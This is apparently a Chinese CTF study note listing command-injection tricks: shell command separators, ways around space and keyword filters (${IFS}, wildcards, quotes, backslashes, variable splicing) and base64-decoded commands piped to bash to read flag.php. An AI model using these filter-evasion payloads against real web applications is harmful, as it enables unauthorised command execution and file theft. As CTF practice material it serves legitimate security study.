CTF中命令执行知识点总结

分隔命令

;              # 分号隔开每条命令,整行命令按照从左到右的顺序执行,彼此之间互不影响,所有的命令都会执行。

|              # 只执行后面那条命令。

||             # 只执前面那条命令。

&             #两条命令都会执行。

&&           # 两条命令都会执行。

 

空格绕过

<

<>           # 需要写的权限

${IFS}

$IFS$9

%20

%09

%3c

A=$'cat\x20flag'&&$A

A=$'cat\x09flag'&&$A

 

黑名单绕过

# 一般情况下想flag、php这种字符会被ban掉,这种时候就需要进行绕过了

通配符

*              # 匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用

?            # 匹配单个任意字符

空字符

$@            # cat$@t flag

$1-$9        # cat$1t flag

${数字}      # cat${1}t flag

 

编码绕过

echo "Y2F0IGZs YWcucGhwCg==" | base64 -d|bash        # 解码为cat flag.php并执行

echo "cat flag.php"|base64

 

变量替换

$a=t;$b=g;ca$a fla$b.php

 

引号

ca' 't fl' 'ag.php

 

反斜杠

ca\t f\la\g.php

 

Linux查看文件命令

cat        //cat flag.php
tac        //tac flag.php
head    //head flag.php
tail    //tail flag.php
nl        //nl flag.php
more    //more flag.php
less    //less flag.php
od        //od flag.php
grep    //grep 'fla' flag.php
strings    //strings flag.php
sort    //sort flag.php

参考:https://www.cnblogs.com/erR0Ratao/p/13640600.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值